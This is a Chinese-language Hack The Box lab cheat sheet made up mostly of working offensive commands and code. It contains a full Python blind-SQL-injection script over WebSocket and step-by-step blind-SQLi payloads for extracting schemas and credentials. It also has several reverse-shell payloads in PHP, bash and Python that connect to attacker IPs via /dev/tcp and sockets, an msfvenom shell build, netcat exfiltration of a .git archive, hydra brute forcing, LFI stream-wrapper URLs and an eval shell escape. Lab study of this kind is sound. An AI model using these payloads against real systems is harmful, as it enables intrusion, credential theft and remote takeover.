HTB Lab Cheatsheet (Full Version)
===
## SNMP
```
apt-get install snmp snmp-mibs-downloader
snmpwalk -v 2c -c public <YOUR_NAGIOS_XI_IP_ADDRESS>
```
## SQLi
### Blind Injection
1. DB名稱長度、DB名稱
```
# 導入必要的函式庫
import asyncio
import websockets
import json
# 設定目標 WebSocket URL。請將此 URL 替換為你的靶機 URL。
# 例如: ws://soc-player.soccer.htb:9091
TARGET_URL = "ws://soc-player.soccer.htb:9091"
# 定義猜測的字元集,包含數字、小寫字母、大寫字母和一些特殊符號
# 你可以根據需要調整這個集合
CHARSET = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789_-@.$"
# 封裝檢查條件的非同步函式
# 這個函式會發送包含 SQL payload 的訊息,並根據回應判斷條件是否成立。
async def check_condition(websocket, payload):
"""
發送 payload 並判斷伺服器回應是否為 'Ticket Exists'。
Args:
websocket: 已建立的 websocket 連線物件。
payload: 包含 SQL 判斷式的字典。
Returns:
bool: 如果回應為 'Ticket Exists' 則返回 True,否則為 False。
"""
try:
# 將 payload 轉換為 JSON 字串並發送
await websocket.send(json.dumps(payload))
# 等待並接收伺服器回應
response = await websocket.recv()
# 判斷回應是否包含 'Ticket Exists'
print(f"{payload}:\n{response}")
return "Ticket Exists" in response
except Exception as e:
print(f"發送或接收訊息時發生錯誤: {e}")
return False
# 主要的非同步函式,用於執行盲注攻擊
async def main():
db_name = ""
print("開始執行 WebSocket 盲注式 SQL 注入攻擊...")
# 使用非同步連線到 WebSocket 伺服器
async with websockets.connect(TARGET_URL) as websocket:
print(f"成功連線到 {TARGET_URL}")
# 步驟 1: 猜測資料庫名稱的長度
print("步驟 1: 猜測資料庫名稱長度...")
db_length = 0
for length in range(1, 30): # 假設資料庫名稱長度不超過 30
# 建立猜測長度的 SQL payload
payload = {"id": f"1234 OR LENGTH(DATABASE()) = {length} -- "}
#payload = {"id": f"1234 UNION SELECT 1,2,3 -- "}
# 檢查條件
if await check_condition(websocket, payload):
db_length = length
print(f"資料庫名稱長度為: {db_length}")
break
if db_length == 0:
print("無法猜測出資料庫名稱長度。")
return
# 步驟 2: 逐一猜測資料庫名稱的每個字元
print("步驟 2: 逐一猜測資料庫名稱字元...")
for i in range(1, db_length + 1):
for char in CHARSET:
# 建立猜測字元的 SQL payload
# 使用 ASCII(SUBSTRING(DATABASE(), 位置, 1)) = ASCII('字元')
payload = {"id": f"1234 OR ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {ord(char)} -- "}
# 檢查條件
if await check_condition(websocket, payload):
db_name += char
print(f"目前已猜出: {db_name}\n")
break
print("\n===============================")
print(f"最終猜測出的資料庫名稱是: {db_name}")
print("===============================")
# 啟動非同步主函式
if __name__ == "__main__":
asyncio.run(main())
```
2. 特定DB的Table數量
```
1234 OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema = 'soccer_db') = 1 --
```
3. 特定DB第一個Table的名稱長度
```
id=1234 OR (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema = 'soccer_db' LIMIT 0,1) = 1 --
```
4. 特定DB第一個Table的名稱
```
id=1234 OR (SELECT ASCII(SUBSTR(table_name, 1, 1)) FROM information_schema.tables WHERE table_schema = 'soccer_db' LIMIT 0,1) = 116 --
```
5. 特定Table的欄位數量
```
id=1234 OR (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema = 'soccer_db' AND table_name = 'accounts') = 1 --
```
6. 特定Table的第一個欄位名稱長度
```
id=1234 OR (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema = 'soccer_db' AND table_name = 'accounts' LIMIT 0,1) = 1 --
```
7. 特定Table的第一個欄位名稱
```
id=1234 OR (SELECT ASCII(SUBSTR(column_name, 1, 1)) FROM information_schema.columns WHERE table_schema = 'soccer_db' AND table_name = 'accounts' LIMIT 0,1) = 64 --
```
8. 特定Table的紀錄數量
```
id=1234 OR (SELECT COUNT(*) FROM accounts) = 1 --
```
9. 特定Table的第一列紀錄特定欄位資料的長度
```
id=1234 OR (SELECT LENGTH(username) FROM accounts LIMIT 0,1) = 1 --
```
10. 特定Table的第一列紀錄特定欄位資料內容
```
id=1234 OR (SELECT ASCII(SUBSTR(username, 1, 1)) FROM accounts LIMIT 0,1) = 64 --
```
### PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
---
## john
```
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashfile
```
## GraphQL Syntax
```
query {
user {
username
password
}
}
```
```
query GetAllObjectTypes {
__schema {
types {
name
kind
fields {
name
type {
name
kind
ofType {
name
kind
}
}
description
}
description
}
}
}
```
```
query GetUserTypeFields {
__type(name: "User") {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
description
}
}
}
```
## 弱密碼
```
hydra -t 10 -L rockyou.txt -P rockyou.txt -s 443 test.tw http-post-form "/login:account=^USER^&password=^PASS^:F=incorrect"
```
## eval漏洞
### Python
Python2的```input()```會讀取input並傳送到eval,例如:
```
url = input("Enter URL here:")
```
輸入的程式碼會被執行
```
__import__('os').system('bash')
```
回傳shell
## PHP Stream Wrappers
當有LFI時
* 執行Phar裡的PHP檔案
http://dev.siteisup.htb/?page=phar://uploads/dc44bcedffc08a965990f8f1dfa10a32/phpinfo.phar/phpinfo
* 讀PHP source code
http://45.76.101.18/home.php?file=php://filter/read=convert.base64-encode/resource=admin/checkpassword.php
## Hijack Executable
* https://gtfobins.github.io
## curl
```
curl http://dev.siteisup.htb/uploads/dd2f884d6ca7dba024fa145f8b5b258b/exploit.phar -H "Special-Dev: only4dev" -H "Host: dev.siteisup.htb" > phpinfo.php
```
## Git
### 打包.git
* .git外漏
```
git-dumper http://siteisup.htb/dev/.git dev
```
* .git不外漏
```
tar -cf /tmp/A.tar /path/to/.git/*
# on victim
cat /tmp/A.tar | nc <IP> <Port>
# on attacker
nc -lvnp <Port> > A.tar
```
### 查特定檔案變更內容
```
git log --name-only
git show f7c903a5 -- <file_path>
```
## Brute Force
https://systw.net/note/archives/1776
```
ffuf -u http://FUZZ.siteisup.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
```
## Reverse Shell Script
```
<?php
$descspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.44/1234 0>&1'";
$proc = proc_open($cmd, $descspec, $pipes);
```
```
#!/usr/bin/python3
import socket,os,pty;s=socket.socket();s.connect(("<TargetIP>",<PORT>));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
```
```
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.1.2.3/1234 0>&1'
```
```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.44 LPORT=9001 -f elf -o rs.elf
```
python執行命令範例:
```
import os
os.system("cat /root/root.txt")
```
## 使用者身分
* 使用者變換為root
```
su root
```
* ```(ALL) NOPASSWD: /usr/local/bin/easy_install```
:::info
```(ALL)```:
(ALL) ALL 通常會縮寫成一個 (ALL),代表任何使用者在任何主機上。
```NOPASSWD:```:
它指示系統,當符合此規則的使用者嘗試執行後面的指令時,不需要提示輸入他們的密碼。
:::
* SetUID Bit
SetUID 位元 (Set User ID) 是一種特殊的檔案權限,它影響著執行檔 (executable file) 的行為。當一個可執行檔案設定了 SetUID 位元時,任何使用者在執行這個檔案時,它的有效使用者 ID (effective user ID) 會暫時變成該***檔案擁有者的 ID***,而不是執行該檔案的使用者 ID。
```
find / -perm -u=s -type f 2>/dev/null
```
## nc
```
nc -lvnp <PORT>
```
## nmap
```
nmap -sU -p- --open <TargetIP> --min-rate 10000
nmap -sVC -p- -T4 -vvv -oA BUSQUEDANmapfullportscan <TargetIP>
nmap --script vuln -p 22,80 -vvv -T4 -oA BUSQUEDAvulnscan <TargetIP>
```
:::info
-sVC:
這個選項是兩個選項的組合:
-sV (Service Version Detection): 這個選項指示 Nmap 嘗試確定在開放埠上運行的服務及其版本。例如,它會告訴你埠 80 上運行的不僅僅是一個「網頁服務」,而是「Apache HTTP Server 2.4.41」或「Nginx 1.18.0」。這對於識別潛在的漏洞非常有用,因為不同的軟體版本可能有不同的已知漏洞。
-sC (Equivalent to --script=default): 這個選項會運行 Nmap 預設的腳本。Nmap 腳本引擎 (NSE) 是一個強大的功能,允許用戶編寫或運行各種腳本來自動化各種網路任務。預設腳本通常包括服務發現、漏洞檢測、後門檢測等常見且相對安全的腳本。
-p- (Scan all ports):
這個選項指示 Nmap 掃描所有 65535 個 TCP 埠。
預設情況下,Nmap 只掃描最常見的 1000 個埠。
使用 -p- 可以確保你不會遺漏任何在非標準埠上運行的服務,但這會大大增加掃描時間。
-T4 (Timing Template):
這個選項設置掃描的速度模板。Nmap 有 6 個速度模板,從 T0 (最慢,最隱蔽) 到 T5 (最快,最激進)。
T4 代表 aggressive (激進)。它在速度和隱蔽性之間提供了一個不錯的平衡,比預設速度更快,但仍然試圖避免過度激進而導致防火牆或入侵檢測系統 (IDS/IPS) 的警報。
-vvv (Very Verbose Output):
這個選項增加掃描輸出的詳細程度。
單個 -v 會提供更多的即時輸出,顯示掃描進度。
vvv 則會提供非常詳細的輸出,包括每個掃描階段的細節、Nmap 嘗試的探測以及其解釋,這對於故障排除或深入分析掃描結果非常有用。
-oA BUSQUEDANmapfullportscan (Output All Formats):
這個選項指示 Nmap 將掃描結果以所有主要格式輸出,並以指定的檔案名作為前綴。
它會創建三個檔案:
BUSQUEDANmapfullportscan.nmap (Normal output): 這是 Nmap 的標準可讀文字輸出。
BUSQUEDANmapfullportscan.gnmap (Grepable output): 這是為了方便腳本處理而設計的格式,每行一個主機。
BUSQUEDANmapfullportscan.xml (XML output): 這是最推薦的格式,因為它包含了最詳細的資訊,並且可以方便地被其他工具解析和處理。
:::
## Writeups
- [UpDown](https://0xdf.gitlab.io/2023/01/21/htb-updown.html)